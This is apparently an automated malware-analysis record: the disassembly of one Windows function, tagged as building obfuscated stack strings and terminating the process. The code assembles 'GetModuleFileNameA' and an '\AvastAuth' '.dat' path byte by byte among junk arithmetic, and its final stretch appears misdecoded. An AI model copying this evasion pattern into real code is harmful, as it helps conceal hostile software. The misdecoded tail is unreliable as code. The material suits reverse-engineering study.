Function at 0x10001726
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push edi
mov word [ebp - 0x1c], 0xe92a
mov byte [ebp - 0x190], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x18f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ax, word [ebp - 0x1c]
imul ax, ax, 0x6cf6
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x8c], 0
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x8ab4
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
or dx, 0x7203
mov word [ebp - 0x1c], dx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x3dc3
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x6b
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
sar cx, 5
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x65
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
xor cx, 0x765b
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x72
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
add cx, 0x73ee
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x6e
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0xaaf5
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x65
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x27df
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x6c
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xa8c0
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x33
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
and cx, 0x58f5
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0x32
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
imul cx, cx, 0xfa15
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0x68], 0
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
or cx, 0xe36c
mov word [ebp - 0x1c], cx
mov dx, word [ebp - 0x1c]
sub dx, 0xdb3a
mov word [ebp - 0x1c], dx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xdd62
idiv ecx
mov word [ebp - 0x1c], ax
mov byte [ebp - 0x84], 0x47
mov byte [ebp - 0x83], 0x65
mov byte [ebp - 0x82], 0x74
mov byte [ebp - 0x81], 0x4d
mov byte [ebp - 0x80], 0x6f
mov byte [ebp - 0x7f], 0x64
mov byte [ebp - 0x7e], 0x75
mov byte [ebp - 0x7d], 0x6c
mov byte [ebp - 0x7c], 0x65
mov byte [ebp - 0x7b], 0x46
mov byte [ebp - 0x7a], 0x69
mov byte [ebp - 0x79], 0x6c
mov byte [ebp - 0x78], 0x65
mov byte [ebp - 0x77], 0x4e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x6d
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x41
mov byte [ebp - 0x72], 0
mov dx, word [ebp - 0x1c]
sub dx, 0x795a
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x198], eax
mov dx, word [ebp - 0x1c]
imul dx, dx, 0x1d70
mov word [ebp - 0x1c], dx
mov ax, word [ebp - 0x1c]
add ax, 0x77c2
mov word [ebp - 0x1c], ax
push 0x104
lea ecx, [ebp - 0x190]
push ecx
push 0
call dword [ebp - 0x198]
mov dx, word [ebp - 0x1c]
sub dx, 0x9d84
mov word [ebp - 0x1c], dx
mov ax, word [ebp - 0x1c]
add ax, 0xf75d
mov word [ebp - 0x1c], ax
push 0x5c
lea ecx, [ebp - 0x190]
push ecx
call fcn.10002370
add esp, 8
mov dword [ebp - 4], eax
mov dx, word [ebp - 0x1c]
imul dx, dx, 0x9606
mov word [ebp - 0x1c], dx
cmp dword [ebp - 4], 0
je 0x10001a14
mov eax, dword [ebp - 4]
mov byte [eax], 0
mov cx, word [ebp - 0x1c]
imul cx, cx, 0x9c73
mov word [ebp - 0x1c], cx
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0
mov dx, word [ebp - 0x1c]
or dx, 0x6d2c
mov word [ebp - 0x1c], dx
mov byte [ebp - 0xc], 0
xor eax, eax
mov dword [ebp - 0xb], eax
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0x4ea0
idiv ecx
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x8c], 0
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xd695
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x2e
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov dx, word [ebp - 0x1c]
sub dx, 0xaf10
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x64
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xbf2f
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x61
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov dx, word [ebp - 0x1c]
or dx, 0x8102
mov word [ebp - 0x1c], dx
mov eax, dword [ebp - 0x8c]
mov byte [ebp + eax - 0xc], 0x74
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xe145
idiv ecx
mov word [ebp - 0x1c], ax
mov edx, dword [ebp - 0x8c]
mov byte [ebp + edx - 0xc], 0
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
mov cx, word [ebp - 0x1c]
add cx, 0x807c
mov word [ebp - 0x1c], cx
mov byte [ebp - 0x5c], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0x5b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dx, word [ebp - 0x1c]
add dx, 0x1ce9
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x18]
push eax
call fcn.100022f0
add esp, 4
mov dword [ebp - 0x194], eax
mov cx, word [ebp - 0x1c]
add cx, 0x634d
mov word [ebp - 0x1c], cx
mov edx, dword [ebp - 0x194]
push edx
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.100021f0
add esp, 0xc
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xf081
mov word [ebp - 0x1c], dx
push 4
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call fcn.100020c0
add esp, 0xc
mov dx, word [ebp - 0x1c]
sar dx, 1
mov word [ebp - 0x1c], dx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x190]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dx, word [ebp - 0x1c]
imul dx, dx, 0xadb5
mov word [ebp - 0x1c], dx
mov dword [ebp - 0x70], 0
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, 0xd8a9
idiv ecx
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x1a4], 0x15ff0000
and byte [eax + 0x7c831000], al
and al, 0xc
add byte [ebx - 0x75], dl
pop esp
and al, 0x14
mov dword [0x1000bd04], edi
mov byte [0x1000bd00], bl
jne 0x10001c5a
mov eax, dword [0x1000d3d8]
test eax, eax
je 0x10001c49
mov ecx, dword [0x1000d3d4]
push esi
lea esi, [ecx - 4]
cmp esi, eax
jb 0x10001c48
mov eax, dword [esi]
test eax, eax
je 0x10001c3d
call eax
sub esi, 4
cmp esi, dword [0x1000d3d8]
jae 0x10001c35
pop esi
push 0x10009020
push 0x10009018
call fcn.10001c9b
pop ecx
pop ecx
push 0x10009028
push 0x10009024
call fcn.10001c9b
pop ecx
pop ecx
test ebx, ebx
pop ebx
je 0x10001c77
call fcn.10001c92
pop edi
ret
push dword [esp + 8]
mov dword [0x1000bd08], edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]